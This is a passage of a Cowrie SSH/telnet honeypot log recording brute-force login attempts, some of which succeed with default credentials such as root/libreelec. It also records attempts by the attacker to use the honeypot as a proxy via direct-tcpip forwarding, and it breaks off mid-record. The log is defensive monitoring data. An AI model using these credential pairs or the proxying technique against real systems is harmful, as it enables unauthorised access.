{"eventid":"cowrie.session.connect","src_ip":"111.228.36.44","src_port":41138,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c6fc2fde388","protocol":"ssh","message":"New connection: 111.228.36.44:41138 (10.17.0.5:22) [session: 0c6fc2fde388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:03:40.299140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:03:40.303805Z","src_ip":"111.228.36.44","session":"0c6fc2fde388","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:03:40.532220Z","src_ip":"111.228.36.44","session":"0c6fc2fde388","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"203040","message":"login attempt [root/203040] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:03:42.091984Z","src_ip":"111.228.36.44","session":"0c6fc2fde388","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.60.165.5","src_port":47236,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ad6171b1e5b","protocol":"telnet","message":"New connection: 180.60.165.5:47236 (10.17.0.5:23) [session: 8ad6171b1e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:03:49.966019Z"}
{"eventid":"cowrie.session.closed","duration":"301.2","message":"Connection lost after 301.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:04:58.926170Z","src_ip":"111.228.36.44","session":"af1d7e92bbc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":36528,"dst_ip":"10.17.0.5","dst_port":22,"session":"971c489ebf56","protocol":"ssh","message":"New connection: 92.118.39.72:36528 (10.17.0.5:22) [session: 971c489ebf56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:05:13.393225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:05:13.398380Z","src_ip":"92.118.39.72","session":"971c489ebf56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:05:13.504225Z","src_ip":"92.118.39.72","session":"971c489ebf56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:05:13.852071Z","src_ip":"92.118.39.72","session":"971c489ebf56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:05:14.960358Z","src_ip":"92.118.39.72","session":"971c489ebf56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":54624,"dst_ip":"10.17.0.5","dst_port":22,"session":"0acc8d7c98f1","protocol":"ssh","message":"New connection: 2.57.122.96:54624 (10.17.0.5:22) [session: 0acc8d7c98f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:05:38.785230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:05:38.789891Z","src_ip":"2.57.122.96","session":"0acc8d7c98f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:05:38.889974Z","src_ip":"2.57.122.96","session":"0acc8d7c98f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth","message":"login attempt [eth/eth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:05:39.232533Z","src_ip":"2.57.122.96","session":"0acc8d7c98f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:05:40.337262Z","src_ip":"2.57.122.96","session":"0acc8d7c98f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00578808784485,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:05:49.971687Z","src_ip":"180.60.165.5","session":"8ad6171b1e5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":42688,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f8a4d184d86","protocol":"ssh","message":"New connection: 2.57.122.96:42688 (159.203.135.109:22) [session: 8f8a4d184d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:05:55.590302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:05:55.594614Z","src_ip":"2.57.122.96","session":"8f8a4d184d86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:05:55.739416Z","src_ip":"2.57.122.96","session":"8f8a4d184d86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth","message":"login attempt [eth/eth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:05:56.112250Z","src_ip":"2.57.122.96","session":"8f8a4d184d86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:05:57.220506Z","src_ip":"2.57.122.96","session":"8f8a4d184d86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":60190,"dst_ip":"10.17.0.5","dst_port":22,"session":"afafc85abe17","protocol":"ssh","message":"New connection: 77.90.185.17:60190 (10.17.0.5:22) [session: afafc85abe17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:06:54.600783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:06:54.604919Z","src_ip":"77.90.185.17","session":"afafc85abe17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:06:54.715626Z","src_ip":"77.90.185.17","session":"afafc85abe17","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:06:55.251331Z","src_ip":"77.90.185.17","session":"afafc85abe17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"47.130.34.9","dst_port":443,"src_ip":"77.90.185.17","src_port":54006,"message":"direct-tcp connection request to 47.130.34.9:443 from 127.0.0.1:54006","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:06:56.251966Z","session":"afafc85abe17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"47.130.34.9","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 47.130.34.9:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:06:57.328187Z","src_ip":"77.90.185.17","session":"afafc85abe17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"47.130.34.9","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8495\\x87\\xcb\\xb3\\xa4;x\\x86\\xcf\\x8fQ^\\xd2\\xeac\\xab_\\xbd{\\xf2\\x13\\x1e\\x94sWY\\xfe\\x1b\\x9f\\xdc U\\xb0\\\\\\xb7_A\\xd6\\xaf:\\xac\\xfd\\x02.\\xb8\\xed\\xbb\\x19+O\\xd6\\xae:\\x8d\\x01Id\\xed\\xbd\\xe3\\xeeg5\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x1aW\\xb88\\x88\\xa61ZvSkm\\x0f\\xfe\\xc2\\xd8_\\x06/\\xac\\xa7O\\xfa\\xd9\\xa5\\xb4\\xd1e.J\\xb7\\x1a\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 47.130.34.9:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8495\\x87\\xcb\\xb3\\xa4;x\\x86\\xcf\\x8fQ^\\xd2\\xeac\\xab_\\xbd{\\xf2\\x13\\x1e\\x94sWY\\xfe\\x1b\\x9f\\xdc U\\xb0\\\\\\xb7_A\\xd6\\xaf:\\xac\\xfd\\x02.\\xb8\\xed\\xbb\\x19+O\\xd6\\xae:\\x8d\\x01Id\\xed\\xbd\\xe3\\xeeg5\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x1aW\\xb88\\x88\\xa61ZvSkm\\x0f\\xfe\\xc2\\xd8_\\x06/\\xac\\xa7O\\xfa\\xd9\\xa5\\xb4\\xd1e.J\\xb7\\x1a\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:06:57.332004Z","src_ip":"77.90.185.17","session":"afafc85abe17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.32.24.235","dst_port":443,"src_ip":"77.90.185.17","src_port":55044,"message":"direct-tcp connection request to 23.32.24.235:443 from 127.0.0.1:55044","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:06:58.592102Z","session":"afafc85abe17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.32.24.235","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.32.24.235:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:06:58.849856Z","src_ip":"77.90.185.17","session":"afafc85abe17","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.32.24.235","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf648\\x0e(\\xa5e|\\xf9\\x1b1M\\xc4\\x92Y\\x9f\\x04\\xc2:\\x16'u\\xcd)\\rr\\xa3j\\x1b\\x00^\\xbd \\xa4\\x10\\x98\\xa7\\xc9\\xce\\xd9\\x12[\\xd2\\x95%\\r\\r\\xcf\\x90Q\\x0c\\xb4#U\\xd5\\x0fd\\xe6\\x01\\xa6\\xa5\\x92\\xa3\\x1f\\xce\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x